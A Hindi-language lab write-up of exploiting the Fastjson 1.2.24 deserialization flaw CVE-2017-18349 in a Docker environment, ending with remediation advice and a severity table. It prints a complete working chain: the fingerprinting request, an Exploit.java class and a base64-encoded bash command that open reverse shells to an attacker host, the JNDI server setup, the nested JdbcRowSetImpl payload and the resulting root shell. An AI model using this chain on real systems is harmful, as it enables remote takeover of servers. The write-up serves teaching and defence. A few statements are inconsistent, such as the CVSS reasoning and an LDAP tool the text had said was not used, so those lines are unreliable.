
CVE-2017-18349 Fastjson deserialization RCE exploitation का चरण-दर-चरण विवरण, जिसमें attack surface पहचान, fingerprinting, JNDI injection, और Docker प्रयोगशाला वातावरण में reverse shell प्राप्त करना शामिल है।
चलिए पर्यावरण में क्या चल रहा है, इससे शुरू करते हैं। मैं सभी सक्रिय कंटेनरों को सूचीबद्ध करता हूँ:
docker ps

पीड़ित केवल एक पोर्ट प्रकट करता है: 8090
वर्तमान में, मैं लक्ष्य के बारे में अभी तक पूरी तरह से स्पष्ट नहीं हूँ। docker ps परिणामों से, सिस्टम केवल एक उल्लेखनीय सेवा को बाहरी रूप से पोर्ट 8090 पर प्रकाशित करता है, जो कंटेनर की आंतरिक सेवा से मैप किया गया है। यह विश्लेषण किए जाने वाला मुख्य हमले की सतह है।
⇒ मैं अधिक जानकारी के लिए सीधे इसे Curl करता हूँ
curl -i 192.168.3.137:8090/

प्रतिक्रिया विश्लेषण:
Content-Type: application/json;charset=UTF-8 है।{"age": 25, "name": "Bob"}.⇒ विचार: जब पोर्ट 8090 तक पहुँचते हैं, तो सर्वर JSON डेटा लौटाता है। यह इंगित करता है कि एंडपॉइंट केवल एक स्थिर वेब पेज नहीं परोसता, बल्कि इसमें एक बैकएंड है जो अनुरोधों को संसाधित करता है और डेटा को JSON में सीरियलाइज़ करके क्लाइंट को लौटाता है। docker ps परिणामों से, कंटेनर के अंदर चल रहा कमांड एक Java एप्लिकेशन होने के संकेत दिखाता है, इसलिए अगली जांच की दिशा Java में सामान्य JSON पार्सर्स की फिंगरप्रिंटिंग करना है।
Java में, लोकप्रिय JSON लाइब्रेरीज़ जैसे Jackson, Gson, और Fastjson असामान्य इनपुट का सामना करने पर अलग-अलग व्यवहार करती हैं। इसलिए, हम Error-based Fingerprinting तकनीक का उपयोग कर सकते हैं। लौटाई गई त्रुटि कभी-कभी सीधे लाइब्रेरी या आंतरिक प्रसंस्करण तंत्र को प्रकट करती है। इनमें से, Fastjson एक लक्ष्य है जिसे जल्दी सत्यापित करने की आवश्यकता है क्योंकि पुराने संस्करणों में AutoType Deserialization से संबंधित कई गंभीर कमजोरियाँ थीं।
यहाँ, मैं तुरंत यह नहीं मानता कि बैकएंड Fastjson का उपयोग करता है। मैं केवल Fastjson को पहली जाँच की दिशा के रूप में चुनता हूँ क्योंकि इसमें @type कुंजी के माध्यम से स्पष्ट फिंगरप्रिंट है, और यदि यह वास्तव में Fastjson का पुराना संस्करण है, तो शोषण क्षमता मानक पार्सिंग त्रुटि से कहीं आगे जा सकती है, संभावित रूप से RCE तक ले जा सकती है।
Fastjson में फिंगरप्रिंटिंग के लिए एक बहुत ही उपयोगी विशेषता है: यह विशेष @type कुंजी को पहचानता है। यदि बैकएंड Fastjson का उपयोग करता है और डिसीरियलाइज़ फ्लो में भेजा गया अनुरोध बॉडी AutoType का समर्थन करता है, तो पार्सर @type मान को Java क्लास नाम के रूप में व्याख्या करने का प्रयास कर सकता है।
इसलिए, मैं एक पेलोड भेजता हूँ जिसमें @type एक गैर-मौजूद क्लास की ओर इशारा करता है। इस चरण का उद्देश्य तुरंत शोषण करना नहीं है, बल्कि यह देखना है कि क्या बैकएंड @type पर प्रतिक्रिया करता है।
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

यदि बैकएंड एक मानक JSON पार्सर का उपयोग करता और @type की परवाह नहीं करता, तो इस फ़ील्ड को अनदेखा किया जा सकता था या JSON में एक सामान्य कुंजी के रूप में माना जा सकता था। हालाँकि, यहाँ बैकएंड टाइप-संबंधित व्यवहार (type not match) के साथ प्रतिक्रिया करता है, जिसका अर्थ है कि अनुरोध क्लास/टाइप मैपिंग प्रसंस्करण प्रवाह में प्रवेश कर गया।
"type not match" संदेश एक विशिष्ट हस्ताक्षर है जो अक्सर तब सामने आता है जब Fastjson @type को संसाधित करता है लेकिन निर्दिष्ट क्लास एंडपॉइंट द्वारा अपेक्षित डेटा प्रकार से मेल नहीं खाती, या क्लास मौजूद नहीं है/डिसीरियलाइज़ करने की अनुमति नहीं है।
⇒ विचार: बैकएंड वास्तव में POST अनुरोध के JSON बॉडी को पार्स करता है, @type फ़ील्ड को अनदेखा नहीं किया जाता है, पार्सर में एक टाइप मेटाडेटा प्रसंस्करण तंत्र है, और लौटाई गई त्रुटि Alibaba Fastjson के व्यवहार से मेल खाती है। इसलिए, हम उच्च विश्वास के साथ निष्कर्ष निकाल सकते हैं कि बैकएंड Alibaba Fastjson का उपयोग करता है।
फिंगरप्रिंटिंग चरण के बाद, मैं तुरंत यह निष्कर्ष नहीं निकाल सकता कि सिस्टम शोषण योग्य है। बैकएंड द्वारा Fastjson का उपयोग केवल यह साबित करता है कि JSON अनुरोध @type प्रसंस्करण प्रवाह में प्रवेश करता है।
RCE शोषण को निष्पादित करने के लिए, निम्नलिखित सत्यापित किया जाना चाहिए:
⇒ विचार: type not match त्रुटि दर्शाती है कि बैकएंड @type पर प्रतिक्रिया करता है, लेकिन वर्तमान पेलोड केवल त्रुटि उत्पन्न करने के लिए एक नकली क्लास का उपयोग करता है। वास्तविक शोषण के लिए, हमें उस नकली क्लास को Java/JDK में मौजूद एक वास्तविक क्लास से बदलने की आवश्यकता है जो JNDI lookup जैसे आउटबाउंड व्यवहार बनाने में सक्षम हो।
संस्करण निर्धारित करने के लिए, मैं सीधे कंटेनर/एप्लिकेशन के अंदर जाँच करता हूँ।

यह पहचानने के बाद कि एप्लिकेशन फ़ाइल /usr/src/fastjsondemo.jar के रूप में पैकेज किया गया है, मैं JSON प्रसंस्करण लाइब्रेरी की खोज के लिए इस पैकेज संरचना का गहन विश्लेषण करता हूँ। BOOT-INF/lib/ निर्देशिका संरचना की जाँच करने पर फ़ाइल fastjson-1.2.24.jar का पता चलता है (चित्र X)।
बिल्कुल संस्करण 1.2.24 का उपयोग — जो बिना किसी autoType रक्षा तंत्र के डिसीरियलाइज़ेशन कमजोरी से प्रभावित पहला और सबसे प्रसिद्ध संस्करण है — हमें यह पुष्टि करने की अनुमति देता है कि सिस्टम CVE-2017-18349 के लिए कमजोर है।
fastjson-1.2.24.jar का पता लगना पुष्टि करता है कि एप्लिकेशन Fastjson का एक बहुत पुराना संस्करण उपयोग करता है, जो AutoType Deserialization दोष से प्रभावित समूह से संबंधित है। इस संस्करण में, AutoType पर नियंत्रण तंत्र बाद के संस्करणों की तरह कड़ा नहीं किया गया था, इसलिए लाइब्रेरी की स्थितियों के संदर्भ में, सिस्टम JdbcRowSetImpl जैसी गैजेट क्लास के माध्यम से शोषण के लिए संवेदनशील है।
हालाँकि, वास्तविक शोषण क्षमता अभी भी इस बात पर निर्भर करती है कि एंडपॉइंट Fastjson को कैसे आमंत्रित करता है। यदि एप्लिकेशन JSON को एक निश्चित क्लास में पार्स करता है, तो रूट ऑब्जेक्ट पर @type पेलोड सेट करने से "type not match" त्रुटि हो सकती है। इसलिए, संस्करण की पहचान करने के बाद, हमें यह पुष्टि करने के लिए JVM, गैजेट क्लास, और LDAP कॉलबैक व्यवहार का विश्लेषण जारी रखना होगा कि क्या शोषण श्रृंखला वास्तव में JNDI lookup तक पहुँचती है।
1. JVM बाधाओं का विश्लेषण
Fastjson संस्करण के अलावा, Java संस्करण भी एक निर्णायक कारक है। मैं कंटेनर के अंदर JVM की जाँच करता हूँ:
java -version

यह महत्वपूर्ण जानकारी है क्योंकि Fastjson शोषण श्रृंखलाएँ आमतौर पर JNDI Injection पर निर्भर करती हैं। नए Java संस्करणों ने डिफ़ॉल्ट रूप से LDAP/RMI के माध्यम से बाहरी कोडबेस से क्लास लोड करने को अवरुद्ध कर दिया है। हालाँकि, Java 8u102 एक पुराना संस्करण है जिसमें अभी तक ये अवरोधन तंत्र नहीं हैं।
इसलिए, यदि हमलावर JNDI lookup को ट्रिगर कर सकता है, तो पीड़ित के JVM में बाहरी HTTP सर्वर से क्लास डाउनलोड करने और उसे रनटाइम में लोड करने की क्षमता है।
पुराने Fastjson और JVM की पहचान करने के बाद, अगला कदम JDK में मौजूद एक ऐसी क्लास ढूंढना है जो डिसीरियलाइज़ होने पर खतरनाक व्यवहार उत्पन्न कर सके।
com.sun.rowset.JdbcRowSetImpl एक उपयुक्त गैजेट है क्योंकि यह क्लास JDK में मौजूद है और इसमें dataSourceName प्रॉपर्टी है। जब dataSourceName को LDAP URL प्रारूप मान निर्दिष्ट किया जाता है, तो ऑब्जेक्ट का शोषण करके आउटबाउंड JNDI lookup को ट्रिगर किया जा सकता है।
⇒ विचार: मुझे सर्वर पर सीधे कोड अपलोड करने की आवश्यकता नहीं है। इसके बजाय, मैं JVM के अंदर मौजूदा क्लास का लाभ उठाकर पीड़ित को हमलावर द्वारा नियंत्रित LDAP सर्वर से कनेक्ट करने के लिए मजबूर करता हूँ।
लाइब्रेरी और JVM के संबंध में आवश्यक शर्तें स्थापित करने के बाद, मुझे यह सत्यापित करने की आवश्यकता है कि क्या पेलोड वास्तव में पीड़ित को आउटबाउंड कनेक्ट करने के लिए मजबूर करता है। यह अंतर करने के लिए एक महत्वपूर्ण कदम है:
यदि LDAP सर्वर या लिसनर को पीड़ित से कनेक्शन प्राप्त होता है, तो यह साबित होता है कि पेलोड सफलतापूर्वक JNDI lookup चरण तक पहुँच गया है। यदि कोई कॉलबैक नहीं है और सर्वर type not match लौटाता है, तो यह इंगित करता है कि वर्तमान पेलोड एंडपॉइंट के डिसीरियलाइज़ेशन प्रवाह से मेल नहीं खाता। इस मामले में, पेलोड को एंडपॉइंट द्वारा पार्स की जा रही सटीक ऑब्जेक्ट संरचना में समायोजित करने की आवश्यकता है, या वैकल्पिक बाईपास/गैजेट का उपयोग किया जाना चाहिए।
उपरोक्त चरणों से, सिस्टम की स्थिति श्रृंखला को इस प्रकार संक्षेपित किया जा सकता है:
@type के साथ त्रुटि प्रतिक्रिया इंगित करती है कि बैकएंड टाइप मेटाडेटा तंत्र को संसाधित करता है, जो Fastjson के व्यवहार से मेल खाता है।fastjson-1.2.24.jar लाइब्रेरी को पैकेज करता है।com.sun.rowset.JdbcRowSetImpl गैजेट JDK में मौजूद है और dataSourceName प्रॉपर्टी के माध्यम से JNDI lookup को ट्रिगर करने के लिए इसका शोषण किया जा सकता है।⇒ शोषण संबंधी सोच:
मुझे फ़ाइल अपलोड फ़ंक्शन खोजने या सर्वर पर सीधे फ़ाइलें लिखने की आवश्यकता नहीं है। इसके बजाय, मैं Fastjson के डिसीरियलाइज़ेशन प्रवाह का लाभ उठाकर JVM को एक JdbcRowSetImpl ऑब्जेक्ट इंस्टैंशिएट करने के लिए मजबूर करता हूँ। जब यह ऑब्जेक्ट LDAP URL के रूप में एक dataSourceName प्राप्त करता है, तो पीड़ित हमलावर द्वारा नियंत्रित सर्वर पर JNDI lookup करेगा। वहाँ से, हमलावर JVM को बाहरी HTTP सर्वर से दुर्भावनापूर्ण क्लास डाउनलोड करने और उस क्लास के अंदर कोड निष्पादित करने के लिए रीडायरेक्ट कर सकता है।
इसलिए, चयनित शोषण पथ है:
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase containing Exploit.class
→ Reverse shell back to the attacker
text
Connection received on 192.168.3.137 43928
whoami
root
Fastjson 1.2.24 में, com.sun.rowset.JdbcRowSetImpl क्लास JVM क्लासपाथ में मौजूद एक गैजेट क्लास है (मानक लाइब्रेरी rt.jar से संबंधित)। जब Fastjson इस क्लास की ओर इशारा करने वाले @type वाले JSON स्ट्रिंग को डिसीरियलाइज़ करता है:
JdbcRowSetImpl को इंस्टैंशिएट करता है।setDataSourceName() सेटर को कॉल किया जाता है → JNDI पता सेट करना।setDataSourceName() आंतरिक InitialContext.lookup(dataSourceName) को ट्रिगर करता है → संपूर्ण JNDI Injection यहाँ होता है, setAutoCommit() के निष्पादित होने का मौका मिलने से पहले।Exploit.class फ़ाइल डाउनलोड करता है, इसे मेमोरी में लोड करता है → static {} ब्लॉक को निष्पादित करना।Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
चूँकि पीड़ित का JVM Java 8u102 चलाता है, हमें कम्पाइलेशन के दौरान लक्ष्य को Java 8 के रूप में निर्दिष्ट करना होगा। अन्यथा, पीड़ित एक UnsupportedClassVersionError फेंकेगा और हमले की श्रृंखला चुपचाप विफल हो जाएगी। उसके बाद, HTTP कोडबेस सर्वर सेट करें:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-Exploit का उपयोग करके JNDI शोषण सर्वर सेट करनाचूँकि Kali वातावरण Java 25 चलाता है — जो marshalsec बनाने के लिए बहुत नया है — हम वैकल्पिक टूल JNDI-Injection-Exploit का उपयोग करते हैं। पहले, बेस64 प्रारूप में रिवर्स शेल पेलोड बनाएँ:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
उपरोक्त पेलोड के साथ JNDI सर्वर प्रारंभ करें:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

टूल स्वचालित रूप से LDAP एंडपॉइंट उत्पन्न करता है:
ldap://192.168.3.114:1389/6bzjwg
रिवर्स सुनने वाला पोर्ट खोलें:
nc -lvnp 4444
हम देखते हैं कि रूट ऑब्जेक्ट पर @type पेलोड रखने से type not match त्रुटि वापस आती है — क्योंकि Spring Boot कंट्रोलर JSON को एक निश्चित प्रकार में मैप कर रहा है, जो रूट स्तर पर JdbcRowSetImpl से मेल नहीं खाता।
पेलोड को समायोजित करना: गैजेट क्लास को एक नेस्टेड फ़ील्ड ("data":{...}) के अंदर लपेटें ताकि Fastjson नेस्टेड ऑब्जेक्ट को कंट्रोलर की प्रकार बाधा से स्वतंत्र रूप से संसाधित करे:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

LDAP सर्वर (marshalsec) पर: पीड़ित के IP से एक सफल JNDI क्वेरी अनुरोध लॉग किया गया और HTTP कोडबेस पर रीडायरेक्ट किया गया।
HTTP सर्वर (Python) पर: पीड़ित के IP से Exploit.class फ़ाइल डाउनलोड करने का अनुरोध स्थिति कोड 200 OK के साथ लॉग किया गया, जो साबित करता है कि JVM ने सफलतापूर्वक बाइटकोड लोड किया।
Netcat लिसनर पर: सफलतापूर्वक इंटरैक्टिव सत्र (रिवर्स शेल) स्थापित हुआ:
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
पूरी शोषण श्रृंखला सफलतापूर्वक सत्यापित हो गई है: JSON पेलोड भेजने से → JNDI lookup → LDAP रेफरल → दूरस्थ क्लास लोड करना → static {} ब्लॉक में कोड निष्पादित करना → root विशेषाधिकारों के साथ रिवर्स शेल स्थापित करना।
इस सिस्टम पर Fastjson Deserialization RCE कमजोरी (CVE-2017-18349) को उच्चतम गंभीरता स्तर पर रेट किया गया है:
इस कमजोरी को पूरी तरह से हल करने के लिए, कार्यों को प्राथमिकता के निम्नलिखित क्रम में लागू किया जाना चाहिए:
1.2.83) में अपडेट करें। संस्करण 1.2.25 से आगे, autoType सुविधा डिफ़ॉल्ट रूप से अक्षम कर दी गई है और एक सख्त ब्लैकलिस्ट तंत्र जोड़ा गया — जो CVE-2017-18349 के हमले वेक्टर को सीधे हटा देता है। या Jackson या Gson जैसी बेहतर रखरखाव वाली वैकल्पिक लाइब्रेरी में संक्रमण पर विचार करें।com.sun.jndi.ldap.object.trustURLCodebase प्रॉपर्टी डिफ़ॉल्ट रूप से false पर सेट है — जो JVM की LDAP/RMI के माध्यम से दूरस्थ रूप से क्लास स्वचालित रूप से लोड करने की क्षमता को पूरी तरह से अवरुद्ध कर देता है, भले ही Fastjson में अभी भी कमजोरी हो, JNDI Injection श्रृंखला को तोड़ देता है।root उपयोगकर्ता के तहत न चलाएँ। न्यूनतम विशेषाधिकारों वाला एक समर्पित उपयोगकर्ता (उदा., app_user) बनाएँ — भले ही हमलावर RCE प्राप्त कर ले, नुकसान उस उपयोगकर्ता के विशेषाधिकार के दायरे तक सीमित रहेगा।autoType को पूरी तरह से बंद करने के लिए स्रोत कोड में SafeMode सक्षम करें:ParserConfig.getGlobalInstance().setSafeMode(true);
या केवल अनुमोदित क्लास को डिसीरियलाइज़ करने की अनुमति देने वाली एक सख्त श्वेतसूची स्थापित करें।
@type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://।-network और iptables नियम कॉन्फ़िगर करें।| मानदंड | मूल्यांकन | विवरण |
|---|
| CVSS स्कोर | 9.8 (क्रिटिकल) | अत्यधिक उच्च जोखिम स्तर — पूर्ण 10.0 से केवल इसलिए कम है क्योंकि इसे विशेष नेटवर्क पहुँच की आवश्यकता नहीं है। |
| प्रमाणीकरण | आवश्यक नहीं | हमलावर को इसका शोषण करने के लिए किसी खाते या क्रेडेंशियल की आवश्यकता नहीं है। HTTP अनुरोध भेजने में सक्षम कोई भी व्यक्ति हमला कर सकता है। |
| जटिलता | बहुत कम | केवल एक एकल HTTP POST अनुरोध भेजने की आवश्यकता है जिसमें एक मान्य JSON पेलोड हो — किसी जटिल उपकरण या विशेष परिस्थितियों की आवश्यकता नहीं है। |
| JVM सुरक्षा | कोई नहीं | Java 8u102 में दूरस्थ क्लास लोड करने को अवरुद्ध करने का कोई तंत्र नहीं है (trustURLCodebase डिफ़ॉल्ट रूप से true है), जिससे संपूर्ण JNDI Injection → Remote Class Loading श्रृंखला बिना किसी बाधा के काम कर सकती है। |
| प्राप्त विशेषाधिकार | root | उच्चतम विशेषाधिकार स्तर पर एप्लिकेशन कंटेनर पर पूर्ण नियंत्रण — किसी भी फ़ाइल को पढ़ना/लिखना/हटाना, जिसमें /etc/shadow भी शामिल है। |
| पार्श्व गति | उच्च | समझौता किए गए कंटेनर से, हमलावर आंतरिक नेटवर्क (172.19.0.0/16) को स्कैन कर सकता है और उसी Docker नेटवर्क project1_default में अन्य कंटेनरों पर हमला कर सकता है। |